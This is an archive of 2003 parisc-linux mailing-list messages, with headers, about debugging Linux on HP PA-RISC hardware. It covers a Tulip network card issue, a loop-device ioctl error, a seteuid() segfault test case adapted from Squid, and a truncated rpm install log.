NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 19:52:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3B69D4829; Mon, 17 Feb 2003 19:52:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E4ABE5000002044@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17735

On Mon, Feb 17, 2003 at 06:51:01PM +0100, Joel Soete wrote:
> >I grab the config file of the test-drive L model; apply it against current
> >k-2.4.20-pa26 (just change 64 to 32 bits).
>                             ^^^^^^^^^^^^^ My bad: I would have to remember
> that hpux-11 have to be 64bits on L and N servers :?

right. But L-class also only supports 64-bit.
And you want to disable CONFIG_SMP for N-class and L3000.

> Well, for now I just boot with a dpkg kernel-image-2.4.19-64 (up) and still
> have to see what is wrong with eth0:

You were not very clear about the symptom.
And we need a slightly more accurate description
of the kernel-image version number.

But this might help you anyway
| > cvs log driver/nets/tulip/media.c
...
| revision 1.14
| 
| date: 2002/10/14 23:34:02;  author: grundler;  state: Exp;  lines: +13 -13
|
| 2.4.19-pa22 Fix tulip phy reset/init
| DP83840A.pdf and lxt971d.pdf both require polling
| the reset bit (bit 15) in mdio control register to
| determine when a reset has completed. Then the
| "init" sequence can be sent.


> eth0 Digital DS21143 Tulip rev 65 at 0x80 ... irq 128
> 
> Is there known problem with this type of NIC?

yes - there was. But built-in should work. add-on cards had problems.

> Next step would be to install a gcc-64 to recompile the kernel 2.4.20-pa27
> and have a new look on this eth0.

yes - good plan

grant


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /dev/loop0 problems in 2.5.x?
Date: Mon, 17 Feb 2003 23:16:54 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20030218041653.GI15855@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622223 21901 80.91.229.3 (22 Nov 2014 02:10:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 21:17:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65FD24829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Feb 2003 21:17:03 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18kzBe-0004qE-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Feb 2003 23:16:54 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (12% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17736

parisc,

Works in 2.4.x, thinking of moving part of the cluster to 2.5, but I like
to play with swap over NFS.

root@node01:/etc# /sbin/losetup /dev/loop0 /swapfile
ioctl: LOOP_SET_FD: Inappropriate ioctl for device
root@node01:/etc# uname -a
Linux node01 2.5.59-pa2 #2 Thu Jan 23 00:49:22 EST 2003 parisc unknown
unknown GNU/Linux

Do I need newer tools for playing with 2.5.x on HPPA?
Loopback is compiled into the kernel, no modules, and I can produce the
.config if you would like to look :)

Help is much appreciated. I've trolled a few places but no mention of
this particular problem.

c.



From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .config fo a N class?
Date: Tue, 18 Feb 2003 10:44:42 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20030218084442.GP3715@aurinko.ntc.nokia.com>
References: <3E48B5950000297E@ocpmta3.freegates.net> <3E4ABE5000002044@ocpmta2.freegates.net> <20030218025230.GA13514@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622223 21905 80.91.229.3 (22 Nov 2014 02:10:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:23 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>, parisc-linux@parisc-linux.org
To: ext Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 18 01:44:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB412482B
	for <parisc-linux@parisc-linux.org>; Tue, 18 Feb 2003 01:44:45 -0700 (MST)
Original-Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h1I8lgm29054
	for <parisc-linux@parisc-linux.org>; Tue, 18 Feb 2003 10:47:42 +0200 (EET)
Original-Received: from esebh003.NOE.Nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T607cf1d572ac158f230cc@esvir03nok.nokia.com>;
 Tue, 18 Feb 2003 10:44:44 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 18 Feb 2003 10:44:43 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h1I8igp29786;
	Tue, 18 Feb 2003 10:44:43 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <20030218025230.GA13514@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 18 Feb 2003 08:44:43.0881 (UTC) FILETIME=[FBDA3D90:01C2D729]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17737

On Mon, Feb 17, 2003 at 07:52:30PM -0700, ext Grant Grundler wrote:
> On Mon, Feb 17, 2003 at 06:51:01PM +0100, Joel Soete wrote:

> > eth0 Digital DS21143 Tulip rev 65 at 0x80 ... irq 128
> > Is there known problem with this type of NIC?

> yes - there was. But built-in should work. add-on cards had problems.

Hey, that's the same revision as the one I tried in a C240 ... 
A3738-60001 ANA-6911A/AUI? A combo card with 10/100bT, 10b2, and AUI? 

Come to think of it, is it at all reasonable to assume that the same chip 
revision would be likely to mean the cards are similar?


Anyway, mine still doesn't work as of today, but I haven't worked on it 
for a while... oh well, at least on HP-UX it'd be supported on an N, 
right?


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .config fo a N class?
Date: Tue, 18 Feb 2003 09:45:56 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030218164556.GA32367@dsl2.external.hp.com>
References: <3E48B5950000297E@ocpmta3.freegates.net> <3E4ABE5000002044@ocpmta2.freegates.net> <20030218025230.GA13514@dsl2.external.hp.com> <20030218084442.GP3715@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622224 21909 80.91.229.3 (22 Nov 2014 02:10:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:24 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>, parisc-linux@parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 18 09:45:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CC2874829; Tue, 18 Feb 2003 09:45:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030218084442.GP3715@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17738

On Tue, Feb 18, 2003 at 10:44:42AM +0200, Nahkola Mikko wrote:
> Come to think of it, is it at all reasonable to assume that the same chip 
> revision would be likely to mean the cards are similar?

hmm..I don't know that.

Use PCI_SUBSYSTEM_VENDOR_ID/PCI_SUBSYSTEM_ID to determine which card
it is exactly.

> Anyway, mine still doesn't work as of today, but I haven't worked on it 
> for a while... oh well, at least on HP-UX it'd be supported on an N, 
> right?

definitely.

grant


From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .config fo a N class?
Date: Wed, 19 Feb 2003 09:19:49 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <3E48441000002658@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622224 21915 80.91.229.3 (22 Nov 2014 02:10:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 19 01:19:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D76974829
	for <parisc-linux@parisc-linux.org>; Wed, 19 Feb 2003 01:19:51 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18lPSI-0007SK-00; Wed, 19 Feb 2003 09:19:50 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 19 Feb 2003 09:19:49 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17739

>-- Original Message --
>Date: Mon, 17 Feb 2003 19:52:30 -0700
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: parisc-linux@parisc-linux.org
>Subject: Re: [parisc-linux] .config fo a N class?
>From: grundler@dsl2.external.hp.com (Grant Grundler)
>
>
>On Mon, Feb 17, 2003 at 06:51:01PM +0100, Joel Soete wrote:
>> >I grab the config file of the test-drive L model; apply it against current
>> >k-2.4.20-pa26 (just change 64 to 32 bits).
>>                             ^^^^^^^^^^^^^ My bad: I would have to remember
>> that hpux-11 have to be 64bits on L and N servers :?
>
>right. But L-class also only supports 64-bit.
>And you want to disable CONFIG_SMP for N-class and L3000.
>
>> Well, for now I just boot with a dpkg kernel-image-2.4.19-64 (up) and
still
>> have to see what is wrong with eth0:
>
>You were not very clear about the symptom.

Yes, sorry: my first goal was to advise that I reach to boot the N and will
go later examine this pb.

IIRC to start up this box I first unplug the NIC cable to avoid network
pb.
After that I changed the config file to restart the built-in NIC which didn't
come up? A strange thing that I noticed was that there was not hard led
lighted.

It should be because the switch disable temporarely the port after the cut
of the link? I will check further...

>And we need a slightly more accurate description
>of the kernel-image version number.
>
it is the image from kernel-image-2.4.19-64_22.2_hppa.deb

>But this might help you anyway
>| > cvs log driver/nets/tulip/media.c
>...
>| revision 1.14
>|
>| date: 2002/10/14 23:34:02;  author: grundler;  state: Exp;  lines: +13
>-13
>|
>| 2.4.19-pa22 Fix tulip phy reset/init
>| DP83840A.pdf and lxt971d.pdf both require polling
>| the reset bit (bit 15) in mdio control register to
>| determine when a reset has completed. Then the
>| "init" sequence can be sent.
>
I will check if I can still find back some sources
>
>> eth0 Digital DS21143 Tulip rev 65 at 0x80 ... irq 128
>>
>> Is there known problem with this type of NIC?
>
>yes - there was. But built-in should work. add-on cards had problems.
>
>> Next step would be to install a gcc-64 to recompile the kernel 2.4.20-pa27
>> and have a new look on this eth0.
>
>yes - good plan
>
Thanks again for your kind attention,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Issues with seteuid()?
Date: Wed, 29 Jan 2003 14:58:20 +0100
Lines: 271
Approved: news@gmane.org
Message-ID: <3E35DBDA000004E3@ocpmta8.freegates.net>
References: <1042386569.3329.4.camel@luigi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622224 21917 80.91.229.3 (22 Nov 2014 02:10:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:24 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>
To: "Luigi Gangitano" <luigi@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 19 08:26:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2DF0A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Feb 2003 08:26:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18lW7C-0000R7-00; Wed, 19 Feb 2003 16:26:30 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 29 Jan 2003 14:58:20 +0100
In-Reply-To: <1042386569.3329.4.camel@luigi>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17740

Hi all,

Here is a 'small' test case which reproduce the problem on a sarge (ie testing)
debian (gcc-3.0_3.0.4-12; libc6_2.2.5-14.3) running very last kernel 2.4.20-pa23:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/* getpid(), geteuid()  */
#include <sys/types.h>
#include <unistd.h>

/* setgroups() */
#include <grp.h>

/* mkdir() */
#include <sys/stat.h>
#define MAXPATHLEN 256

/* waitpid() */
#include <sys/wait.h>


char *effectiveUser="proxy";
uid_t effectiveUserID=13;
gid_t effectiveGroupID=13;

/* Define if you have the setgroups function.  */
#define HAVE_SETGROUPS 1

/*
 * Yay! Another Linux brokenness.  Its not good enough to know that
 * setresuid() exists, because RedHat 5.0 declare setresuid() but
 * doesn't implement it.
 */
#define HAVE_SETRESUID 1

#undef HAVE_SETRESUID
/*
 */

/*
man setresuid NOTES:
       Under  HP-UX  and  FreeBSD the prototype is found in <unistd.h>. 
Under
       Linux there is so far no include file giving the prototype - this
is  a
       glibc bug. Programs using this system call must add the prototype
them-
       selves.
*/
#ifdef HAVE_SETRESUID
int
setresuid(uid_t ruid, uid_t euid, uid_t suid);
#endif

/* Define if you have the seteuid function.  */
#define HAVE_SETEUID 1

/*
 * xstrerror() - strerror() wrapper
 */
const char *
xstrerror(void)
{
    static char xstrerror_buf[BUFSIZ];
    static char strerror_buf[BUFSIZ];

    snprintf(strerror_buf, BUFSIZ, "%s", strerror(errno));
   
    if (strerror_buf) 
	snprintf(xstrerror_buf, BUFSIZ, "(%d) %s", errno, strerror_buf);
    else
        snprintf(xstrerror_buf, BUFSIZ, "(%d) Unknown", errno); 
    return xstrerror_buf;
}

/* leave a privilegied section. (Give up any privilegies)
 * Routines that need privilegies can rap themselves in enter_suid()
 * and leave_suid()
 * To give upp all posibilites to gain privilegies use no_suid()
 */
void
leave_suid(void)
{
    fprintf(stderr, "leave_suid: PID %d called\n", (int) getpid());
    if (geteuid() != 0)
	return;
    /* Started as a root, check suid option */
    if (effectiveUser == NULL)
	return;
#if HAVE_SETGROUPS
    setgroups(1, &effectiveGroupID);
#endif
    if (setgid(effectiveGroupID) < 0)
	fprintf(stderr, "ALERT: setgid: %s\n", xstrerror());
    fprintf(stderr, "leave_suid: PID %d giving up root, becoming '%s'\n",
(int) getpid(), effectiveUser);
#if HAVE_SETRESUID
    if (setresuid(effectiveUserID, effectiveUserID, 0) < 0)
	fprintf(stderr, "ALERT: setresuid: %s\n", xstrerror());
#elif HAVE_SETEUID
    if (seteuid(effectiveUserID) < 0)
	fprintf(stderr, "ALERT: seteuid: %s\n", xstrerror());
#else
    if (setuid(effectiveUserID) < 0)
	fprintf(stderr, "ALERT: setuid: %s\n", xstrerror());
#endif
}

static void
setEffectiveUser(void)
{
    leave_suid();		/* Run as non privilegied user */
    if (geteuid() == 0) {
	fprintf(stderr, "Squid is not safe to run as root!  If you must\n");
	fprintf(stderr, "start Squid as root, then you must configure\n");
	fprintf(stderr, "it to run as a non-priveledged user with the\n");
	fprintf(stderr, "'cache_effective_user' option in the config file.\n");
	fprintf(stderr, "Don't run Squid as root, set 'cache_effective_user'!\n");
        abort();
    }
}

static int
storeUfsDirCreateDirectory(const char *path)
{
    int created = 0;

    if (0 != mkdir(path, 0755)) {
	fprintf(stderr,	"Failed to make swai directory %s: %s\n",
	    path, xstrerror());
    }
    return created;
}

static void
storeUfsDirCreateSwapSubDirs(char * Path)
{
    int i, k;
    static char name[MAXPATHLEN];
    for (i = 0; i < 16; i++) {
	snprintf(name, MAXPATHLEN, "%s/%02X", Path, i);
        storeUfsDirCreateDirectory(name);
	fprintf(stderr, "Making directories in %s\n", name);
	for (k = 0; k < 32; k++) {
	    snprintf(name, MAXPATHLEN, "%s/%02X/%02X", Path, i, k);
            storeUfsDirCreateDirectory(name);
	}
    }
}


static void
storeUfsDirNewfs(char * Path)
{
    fprintf(stderr, "Creating swap space in %s\n", Path);
    storeUfsDirCreateSwapSubDirs(Path);
}

void
storeCreateSwapDirectories(void)
{
    int i;
    pid_t pid;
    int status;
    for (i = 0; i < 1; i++) {
	if (fork())
	    continue;
        storeUfsDirNewfs("/var/spool/squid");
	exit(0);
    }
    do {
	pid = waitpid(-1, &status, 0);
    } while (pid > 0 || (pid < 0 && errno == EINTR));
}


int
main(int argc, char **argv)
{
    /* only opt_create_swap_dirs */

    setEffectiveUser();
    fprintf(stderr, "Creating Swap Directories\n");
    storeCreateSwapDirectories();

    return 0;
}

(rebuild from simplified parts of squid-2.5 src)

compile with: gcc -O 2 -Wall -D_REENTRANT file.c -o ct

[create a user and a group named proxy with id 13 both]

compile as it is it, it will failled immediately with 'Segmentation fault'

edit sources to comment out '#undef HAVE_SETRESUID' line, recompile with
same option and it would fork without problem (even thought it will failled
to actually create dir)

hth,
    Joel

PS: this test case doesn't present the same pb on an unstable debian (ie
compile with gcc-3.2_3.2.2-0pre6 & libc6_2.3.1-10). I try this on the same
kernel running each the two different install.



>-- Original Message --
>From: Luigi Gangitano <luigi@debian.org>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] Issues with seteuid()?
>Date: 12 Jan 2003 16:49:29 +0100
>
>
>
>Hi all,
>I'm the Debian package maintainer for Squid (HTTP Proxy). I received the
>forwarded bug report describing issues in seteuid() on palinux. While
>using seteuid(), forked processes terminate with SEGV.
>
>Is it a known problem?
>
>Thanks.
>
>L
>
>Please CC: me, I'm not subscribed to this list.
>
>-----Forwarded Message-----
>> This small mail to mentionned that I reach to make squid operational on
>> a linux-2.4.20-pa17 thanks to the following tips:
>> 
>> in debian rules replace statement
>>     ac_cv_func_setresuid=no \
>> by
>>     ac_cv_func_setresuid=yes \
>> 
>> so that function leave_suid() [into src/tools.c] will use setresuid()
in
>> place of seteuid() before launch fork().
>> 
>> Is it a know problem on palinux?
>> 
>> Greetings,
>>     Joel
>> 
>> PS: Luigi, I also test it on 2.5.1 and it works also for parisc linux
(testing
>> config). HTH
>
>-- 
> Luigi Gangitano -- <luigi@debian.org> -- <gangitano@lugroma3.org>
> GPG: 1024D/924C0C26: 12F8 9C03 89D3 DB4A 9972  C24A F19B A618 924C 0C26
>
>Attachment: signature.asc
>


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help, help testing Debian hppa unusable??
Date: Wed, 19 Feb 2003 19:50:42 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <3E53490E000003BE@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622225 21920 80.91.229.3 (22 Nov 2014 02:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 19 11:51:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 296844829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Feb 2003 11:51:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18lZJ9-0006cL-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Feb 2003 19:51:03 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 19 Feb 2003 19:50:42 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17741

Hi all,

I just try to install rpm on my testing Debian hppa and
...
Unpacking librpm4 (from .../librpm4_4.0.4-11_hppa.deb) ...
Selecting previously deselected package rpm.
Unpacking rpm (from .../archives/rpm_4.0.4-11_hppa.deb) ...
Setting up librpm4 (4.0.4-11) ...

Setting up rpm (4.0.4-11) ...
